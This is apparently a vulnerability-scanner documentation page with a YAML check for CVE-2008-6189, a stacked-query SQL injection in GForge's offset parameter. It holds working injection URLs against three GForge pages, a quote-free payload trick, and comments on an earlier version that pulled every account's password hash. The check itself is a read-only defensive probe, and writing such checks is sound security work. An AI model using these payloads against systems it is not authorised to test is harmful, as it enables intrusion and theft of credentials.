GForge — 1 vulnerability check
noctis ships 1 vulnerability check for GForge, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
GForge 'offset' Parameter SQL Injection
| CVE | CVE-2008-6189 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/gforge/CVE-2008-6189.yaml |
Tests GForge 4.5.20 and earlier, 4.6 betas and 4.7 pre-releases up to rc2 for the unauthenticated SQL injection through the offset parameter, which is appended unchecked to the LIMIT clause of the news, new-releases and top users list queries on a PostgreSQL database. In the web root and in /gforge, the feed requests the news page with an offset value that ends the current statement and adds a second SELECT, which the application then displays in place of the news list; when the news page shows nothing, the same SELECT is sent to the new-releases page, then to the top users page. The SELECT asks the database to compute the product of two random numbers framed by a NOCTIS marker. The marker with the correct product in the page confirms that the database ran the injected statement; the product is not part of the request, so a page that only echoes the query string is not reported. The probe reads no table and changes nothing.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/news/?group_id=&limit=50&offset=50%3Bselect%201%20as%20id,chr(78)%7C%7Cchr(79… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/new/?offset=20%3Bselect%201%20as%20group_id,chr(78)%7C%7Cchr(79)%7C%7Cchr(67)… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/top/topusers.php?offset=0%3Bselect%201%20as%20ranking,chr(78)%7C%7Cchr(79)%7C… - Parses / computes the next value with a Rhai script
- Checks
prooffor^(news/|new/|top/topusers\.php):NOCTIS[0-9]+END$→ finding QoD 97: GForge 'offset' Parameter SQL Injection (CVE-2008-6189)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2008-6189
- http://gforge.org/tracker/index.php?func=detail&aid=5552&group_id=1&atid=105
- http://secunia.com/advisories/32217
Feed source — tests/vulnerabilities/gforge/CVE-2008-6189.yaml
# GForge 'offset' SQL injection (stacked query) — CVE-2008-6189
#
# GForge up to 4.5.20 passes the raw `offset` GET parameter of news/index.php,
# new/index.php and top/topusers.php to db_query() (common/include/database.php
# in 4.5.x, database-pgsql.php in 4.6/4.7), which appends
# " LIMIT $limit OFFSET $offset"
# to the query and runs it with pg_exec(). pg_exec() accepts several
# statements in one string and returns the result of the LAST one, so
# offset=50;select ... as forum_id, ... as summary
# replaces the news list with the rows of the attacker's SELECT. news/index.php
# prints each row as
# <a href="/forum/forum.php?forum_id=<forum_id>"> ... <summary></a>
# new/index.php prints each row's group_name as <strong><group_name></strong>,
# and top/topusers.php prints user_name in its ranking table. GForge 4.6 b1 to
# 4.7 rc2 read offset with getIntFromRequest() in news/ and new/, but
# top/topusers.php still takes it as a string, so only that page is injectable
# there. GForge 4.5.21 and 4.7 force a non-numeric offset to 0 in db_query()
# (and in news/index.php), so the injected statement is dropped and the normal
# list is shown.
#
# Detection (benign, read-only), per candidate install directory ("", /gforge):
# GET <dir>/news/?group_id=&limit=50&offset=50;select 1 as id,
# chr(78)||chr(79)||chr(67)||chr(84)||chr(73)||chr(83)||cast(<a>*<b> as text)
# ||chr(69)||chr(78)||chr(68) as forum_id,1 as summary
# and require NOCTIS<a×b>END in the page. The product of two random 4-digit
# operands (below the PostgreSQL integer range) is computed by the database and
# appears nowhere in the request, so a page that only reflects the query string
# cannot produce it. The marker is built with chr() so the payload carries no
# quote and works with PHP magic_quotes_gpc on (the GForge 4.x era default).
# When the news page shows nothing (news disabled, $sys_use_news off, or a 4.6 /
# 4.7 pre-release), the same stacked SELECT is sent to <dir>/new/?offset=… as
# group_name, then to <dir>/top/topusers.php?offset=… as user_name.
# Redirects are followed: pre.php sends every request whose Host is not the
# configured site name to http(s)://<site name><same URI>, payload included.
# QoD 97 (SQL evaluated by the target). No table is read and nothing is written.
#
# Improvements over the source NASL: the NASL's stacked SELECT returns
# user_name||unix_pw from the users table — it extracts every account's
# password hash and matches "forum_id=$1$" (MD5-crypt only, so DES/SHA hashes
# or an empty users table give a false negative). This feed computes a random
# marker instead, reads no data, and adds the new/index.php and
# top/topusers.php entry points (the latter covers 4.6 b1 to 4.7 rc2).
#
# CVSS: CVE-2008-6189 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2009/gb_gforge_multiple_sql_injection.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100011, GPL-2.0-only).
uid: 1e8556b8-2786-41cc-8f39-2481de6f18fc
name: "GForge 'offset' Parameter SQL Injection (CVE-2008-6189)"
description: |
Tests GForge 4.5.20 and earlier, 4.6 betas and 4.7 pre-releases up to rc2
for the unauthenticated SQL injection through the offset parameter, which is
appended unchecked to the LIMIT clause of the news, new-releases and top
users list queries on a PostgreSQL database. In the web root and in /gforge,
the feed requests the news page with an offset value that ends the current
statement and adds a second SELECT, which the application then displays in
place of the news list; when the news page shows nothing, the same SELECT is
sent to the new-releases page, then to the top users page. The SELECT asks
the database to compute the product of two random numbers framed by a NOCTIS
marker. The marker with the correct product in the page confirms that the
database ran the injected statement; the product is not part of the request,
so a page that only echoes the query string is not reported. The probe reads
no table and changes nothing.
cves: [CVE-2008-6189]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [gforge, php, postgresql, sqli, stacked-query, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2008-6189"
- "http://gforge.org/tracker/index.php?func=detail&aid=5552&group_id=1&atid=105"
- "http://secunia.com/advisories/32217"
# OpenVAS/Greenbone NASL 2009/gb_gforge_multiple_sql_injection.nasl (GPL-2.0-only)
steps:
# Random operands (product < 10^8, inside the PostgreSQL integer range);
# the expected marker is computed locally.
- id: mint
action: script
code: '#{ a: rand_int(1000, 9999), b: rand_int(1000, 9999) }'
store_as: m
- id: mint-marker
action: script
code: '"NOCTIS" + (m.a * m.b) + "END"'
store_as: marker
- id: init-proof
action: set_var
var_name: proof
var_value: ""
# ── Loop group: every step below runs once per candidate install dir ─────
- id: init-news-r
action: set_var
var_name: news_r
var_value: {status: 0, body: ""}
loop:
over: ["", "/gforge"]
var: dir
- id: init-new-r
action: set_var
var_name: new_r
var_value: {status: 0, body: ""}
- id: init-top-r
action: set_var
var_name: top_r
var_value: {status: 0, body: ""}
# offset=50;select 1 as id,<NOCTIS||a*b||END> as forum_id,1 as summary
# (chr(78..83) = "NOCTIS", chr(69,78,68) = "END" — no quote in the payload)
- id: inject-news
action: http_request
method: GET
path: "{{dir}}/news/?group_id=&limit=50&offset=50%3Bselect%201%20as%20id,chr(78)%7C%7Cchr(79)%7C%7Cchr(67)%7C%7Cchr(84)%7C%7Cchr(73)%7C%7Cchr(83)%7C%7Ccast({{m.a}}*{{m.b}}%20as%20text)%7C%7Cchr(69)%7C%7Cchr(78)%7C%7Cchr(68)%20as%20forum_id,1%20as%20summary"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'proof == ""'
store_as: news_r
- id: verdict-news
action: script
code: |
if proof != "" { proof }
else if type_of(news_r.body) == "string" && stridx(news_r.body, marker) >= 0 { "news/:" + marker }
else { "" }
store_as: proof
# Fallback for installs with the news section disabled: new/index.php runs
# the same db_query() with the raw offset and prints group_name in <strong>.
- id: inject-new
action: http_request
method: GET
path: "{{dir}}/new/?offset=20%3Bselect%201%20as%20group_id,chr(78)%7C%7Cchr(79)%7C%7Cchr(67)%7C%7Cchr(84)%7C%7Cchr(73)%7C%7Cchr(83)%7C%7Ccast({{m.a}}*{{m.b}}%20as%20text)%7C%7Cchr(69)%7C%7Cchr(78)%7C%7Cchr(68)%20as%20group_name"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'proof == ""'
store_as: new_r
- id: verdict-new
action: script
code: |
if proof != "" { proof }
else if type_of(new_r.body) == "string" && stridx(new_r.body, marker) >= 0 { "new/:" + marker }
else { "" }
store_as: proof
# Fallback for 4.6 b1 .. 4.7 rc2 (news/ and new/ cast offset to int
# there): top/topusers.php prints user_name raw in its ranking table.
- id: inject-topusers
action: http_request
method: GET
path: "{{dir}}/top/topusers.php?offset=0%3Bselect%201%20as%20ranking,chr(78)%7C%7Cchr(79)%7C%7Cchr(67)%7C%7Cchr(84)%7C%7Cchr(73)%7C%7Cchr(83)%7C%7Ccast({{m.a}}*{{m.b}}%20as%20text)%7C%7Cchr(69)%7C%7Cchr(78)%7C%7Cchr(68)%20as%20user_name,1%20as%20user_id,1%20as%20realname,1%20as%20metric,1%20as%20old_ranking"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'proof == ""'
store_as: top_r
- id: verdict-topusers
action: script
code: |
if proof != "" { proof }
else if type_of(top_r.body) == "string" && stridx(top_r.body, marker) >= 0 { "top/topusers.php:" + marker }
else { "" }
store_as: proof
- id: report
action: match
source: proof
pattern: "^(news/|new/|top/topusers\\.php):NOCTIS[0-9]+END$"
on_match:
finding:
title: "GForge 'offset' Parameter SQL Injection (CVE-2008-6189)"
description: "An unauthenticated GET with an offset value ending the list query and adding a second SELECT made the PostgreSQL database compute the product of two random numbers, which the page displayed in place of the list. Any statement the database user may run can be stacked the same way, including reading the users table with every account's password hash or changing data."
remediation: "Upgrade GForge to 4.5.21 / 4.7 or later (or move to FusionForge), which force the offset and limit values to integers before they reach the query."
confidence_delta: 0.65
qod: 97
evidence: "GET {{dir}}/<page>?offset=<n>;select chr(78)||…||cast({{m.a}}*{{m.b}} as text)||… returned the database-computed marker (page:marker = {{proof}})"
stop: true